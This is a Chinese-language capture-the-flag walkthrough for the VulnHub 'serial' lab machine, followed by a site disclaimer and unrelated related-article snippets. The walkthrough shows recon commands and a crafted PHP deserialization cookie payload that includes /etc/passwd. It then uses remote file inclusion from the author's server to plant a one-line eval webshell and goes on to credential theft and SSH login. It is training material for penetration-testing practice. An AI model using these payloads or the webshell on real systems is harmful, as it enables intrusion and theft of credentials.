反序列化漏洞vulhub靶场serial

环境搭建

下载

https://download.vulnhub.com/serial/serial.zip

解压出来就是这种

 你会得到一个这样的文件,这里使用VMware新建一个虚拟机,这里记录比较重要的几部分。

这里就是使用我们刚才下过来的。 

 漏洞过程详解
1.信息收集

打开靶机,在kali虚拟机中进行主机存活探测

arp-scan -l

分析一下,可知靶机IP地址位192.168.3.131

2.端口扫描 

nmap -p- 192.168.3.131 --min-rate=10000(以最小速率10000扫描)

3.目录扫描

可以都访问一下

 在backup目录下发现bak.zip文件,下载下来

4.漏洞扫描

分析文件
index.php

发现三个文件有包含的关系,放到同一文件中分析

<?phpclass Log {private $type_log;function __costruct($hnd) {$this->$type_log = $hnd;}public function handler($val) {include($this->type_log);echo "LOG: " . $val;}}class Welcome {public function handler($val) {echo "Hello " . $val;}}class User {private $name;private $wel;function __construct($name) {$this->name = $name;$this->wel = new Welcome();}function __destruct() {//echo "bye\n";$this->wel->handler($this->name);}}if(!isset($_COOKIE['user'])) {setcookie("user", base64_encode(serialize(new User('sk4'))));} else {unserialize(base64_decode($_COOKIE['user']));}echo "This is a beta test for new cookie handler\n";
?>

发现有三个类,如果用户没有COOKIE,就给用户生成一个名为sk4的COOKIE,否则将用户的COOKIE反序列化;
COOKIE的值为对User对象的序列化结果进行Base64位编码后的结果;
User类中有两个魔法方法,分别为创建和销毁时调用
我们代理抓包,进入repeater模块 

尝试将COOKIE删除,相应包中带来了COOKIE,用户名为sk4

将COOKIE撤销回去

5.尝试更改 COOKIE

选中COOKIE,在burp的解码器中可以看出这里的cookie经过了URL编码,将%3D改成=

 

再次选中COOKIE,将解码方式改为Base64,可以看出结果为User类的序列化结果 

进行Base64解码,修改用户名及其长度

O:4:"User":2:{s:10:"Username";s:5:"mzqms";s:9:"Userwel";O:7:"Welcome":0:{}}7

 

漏洞利用
漏洞存在,思考利用

继续分析代码,发现Wel实例销毁时调用了公共方法hadler,而hadler方法不止在Welcome类中有,在Log类中不仅存在hadler方法,还存在文件包含,所以替换COOKIE中的Welocome实例
由于目标系统为Linux,所以文件包含passwd

这里可以直接用我下面的

O:4:"User":2:{s:4:"name";s:3:"sk4";s:3:"wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}

 发现passwd文件显示了出来

尝试远程文件包含

开启Windows系统的服务器,根目录下创建一个1.txt文件

更改COOKIE,要改成自己的window的ip

将1.txt改为一句话木马

<?php
@eval($_POST['cmd']);
?>
 打开蚁剑连接将Cookie放入Http头中

 测试连接连接成功

浏览目录,发现根目录下有credentials.txt.bak文件

应该是sk4用户的密码,由于22端口开启,尝试远程连接
ssh sk4@192.168.3.131

登陆成功,依旧浏览目录,发现flag
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/389070.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IDEA切换分支,会影响当前在跑的项目吗?

说明&#xff1a;本文测试&#xff0c;在IDEA中运行项目&#xff0c;然后切换分支&#xff0c;是否会影响当前正在跑的项目 准备工作 首先&#xff0c;创建一个Git项目&#xff0c;接口如下&#xff1a; import org.springframework.web.bind.annotation.GetMapping; import…

13. 文本框和单选题

属性说明type指定元素的类型。text、password、checkbox、radio、submit、reset、file、hidden、image和button&#xff0c;默认为textname指定表单元素的名称value元素的初始值。type为radio时必须指定一个值size指定表单元素的初识宽度&#xff0c;当type为text或password时&…

3.Java面试题之AQS

1. 写在前面 AQS&#xff08;AbstractQueuedSynchronizer&#xff09;是Java并发包&#xff08;java.util.concurrent&#xff09;中的一个抽象类&#xff0c;用于实现同步器&#xff08;如锁、信号量、栅栏等&#xff09;。AQS提供了一种基于FIFO队列的机制来管理线程的竞争和…

【RabbitMQ】路由模式(Routing)

一、基本概念 生产者&#xff08;Producer&#xff09;&#xff1a;发送消息到交换机的程序。在发送消息时&#xff0c;需要指定一个路由键。交换机&#xff08;Exchange&#xff09;&#xff1a;接收生产者发送的消息&#xff0c;并根据路由键将消息路由到与之匹配的队列。在…

1.kafka面试题之零拷贝

1. 写在前面 Kafka 是一个高性能的分布式消息系统&#xff0c;它使用了多种优化技术来提高数据传输效率&#xff0c;其中之一就是 “零拷贝”&#xff08;Zero Copy&#xff09;。零拷贝技术可以显著减少数据在内存中的复制次数&#xff0c;从而提高 I/O 操作的效率&#xff0…

volatile 关键字的两层语义

volatile 关键字的两层语义 1、可见性2、禁止指令重排序3、工作机制4、总结 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; volatile 关键字在Java并发编程中扮演着重要角色&#xff0c;它主要用于保证变量的可见性和禁止指令重排序。 1、…

python绘图 | 横坐标是日期,纵坐标是数值

需求 profit_value [0.084, 0.225, 0.234, 0.264, 0.328] time_stamp [20221111, 20230511, 20230704, 20231212, 20240315] 横坐标是日期&#xff0c;纵坐标是数值&#xff0c;我想绘图的时候&#xff0c;横坐标是按日期格式来 代码 from matplotlib import pyplot as pl…

Mallet:一款针对任意协议的安全拦截代理工具

关于Mallet Mallet是一款功能强大的协议安全分析工具&#xff0c;该工具支持针对任意协议创建用于安全审计的拦截代理&#xff0c;该工具本质上与我们所熟悉的拦截Web代理类似&#xff0c;只是通用性更强。 工具运行机制 Mallet建立在Netty框架之上&#xff0c;并且依赖于Net…

ThreadLocal:线程本地变量的作用与应用

ThreadLocal&#xff1a;线程本地变量的作用与应用 1、简介2、作用3、应用场景4、注意事项 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 1、简介 ThreadLocal 是Java中一个强大的工具类&#xff0c;用于创建线程局部变量。它为每个使用该…

7.Redis的Hash类型

Hash类型&#xff0c;也叫散列&#xff0c;其value是一个无序字典&#xff0c;类似于HashMap结构。 问题 String结构是将对象序列化为json字符串后存储&#xff0c;当需要修改对象某个字段是不是很方便。 key value…

AHK是让任何软件都支持 Shift + 鼠标滚轮 实现界面水平滚动

目录 基本介绍 详细特点 图解安装 下载失败&#xff1f;缓慢&#xff1f; 创建并运行脚本代码&#x1f603; 新建空 xxx.ahk文件 vscode/记事本等编辑工具打开 复制并粘贴简易脚本 运行 其他问题 问题一&#xff1a;弹出无法执行此脚本 关闭脚本 基本介绍 AutoHot…

大厂面试必备的软件测试八股文【附答案】

&#x1f345; 点击文末小卡片 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 前言 最近有很多粉丝问我&#xff0c;有什么方法能够快速提升自己&#xff0c;通过阿里、腾讯、字节跳动、京东等互联网大厂的面试&#xff0c;我觉得短时间提升…

【全网最全最详细】MYSQL 面试题大全(下)

目录 五十一、MYSQL主从复制的过程? 五十二、介绍一下InnbDB的数据页,和B+树的关系是什么? 五十三、MYSQL的驱动表是什么?如何选驱动表? 五十四、MYSQL的hash join是什么? 五十五、MYSQL执行大事务会存在什么问题? 五十六、什么是buffer pool? 五十七、buffer p…

软件测试--兼容性测试

兼容性测试综述 软件兼容性测试是指检查软件之间是否能够正确的交互和共享信息 交互可以同时运行于同一台计算机上的两个程序之间&#xff0c;甚至在相隔几千公里通过因特网连接的不同计算机上的两个程序之间进行。还可以离线介质如导出到介质然后导入到其他计算机的其他软件…

Python pyautogui 自动控制 MDK Keil_v5 Pack Installer 的 Packs 安装过程

MDK Keil_v5 安装完成后&#xff0c;会自动进行 Pack Installer 的 Packs 安装&#xff0c;安装过程中首先 install 需要一行行用鼠标点&#xff0c;然后每一行的 Pack 都会出现同意安装或连接超时的弹窗&#xff0c;需要鼠标操作确认。 pyautogui 可以帮助自动控制鼠标完成确…

C语言 | Leetcode C语言题解之第313题超级丑数

题目&#xff1a; 题解&#xff1a; int nthSuperUglyNumber(int n, int* primes, int primesSize) {long dp[n 1];int pointers[primesSize];for (int i 0; i < primesSize; i) {pointers[i] 0;}long nums[primesSize];for (int i 0; i < primesSize; i) {nums[i] …

【SQL Server】网络通信基础

目录 网络通信基础 网络协议概述 TCP/IP 协议栈 端口和地址绑定 网络通信基础 网络协议概述 网络协议是一组规则和标准&#xff0c;定义了数据在网络中的传输方式。这些协议确保不同设备之间的通信顺畅且高效。网络协议分为多个层次&#xff0c;每个层次负责特定的任务。…

盘点那些实用的开发技术!!

敏感信息加密操作&#xff0c;让开发的系统更加的安全可靠&#xff01;&#xff01;Jasypt&#xff08;Java Simplified Encryption&#xff09;是一个开源的Java库&#xff0c;用于简化加密操作。https://mp.weixin.qq.com/s/sPBV8Ej46YJsElImodRjAQ每个Web开发都应了解的&…

前后端完全分离实现登录和退出

前后端分离的整合 使用springsecurity前端项目redis完成认证授权的代码 1. 搭建一个前端工程 使用 vue ui搭建&#xff0c;使用webstrom操作 2. 创建一个登录页面 <template><div class"login_container"><!-- 登录盒子 --><div class"l…

数值分析——分段低次插值

关键字&#xff1a;Matalb&#xff1b;曲线拟合&#xff1b;高次病态特性&#xff1b;分段低次插值 系列文章目录 数值分析——拉格朗日插值 数值分析——牛顿插值多项式 数值分析——埃尔米特&#xff08;Hermit&#xff09;插值 文章目录 系列文章目录前言一、理论推导1.高次…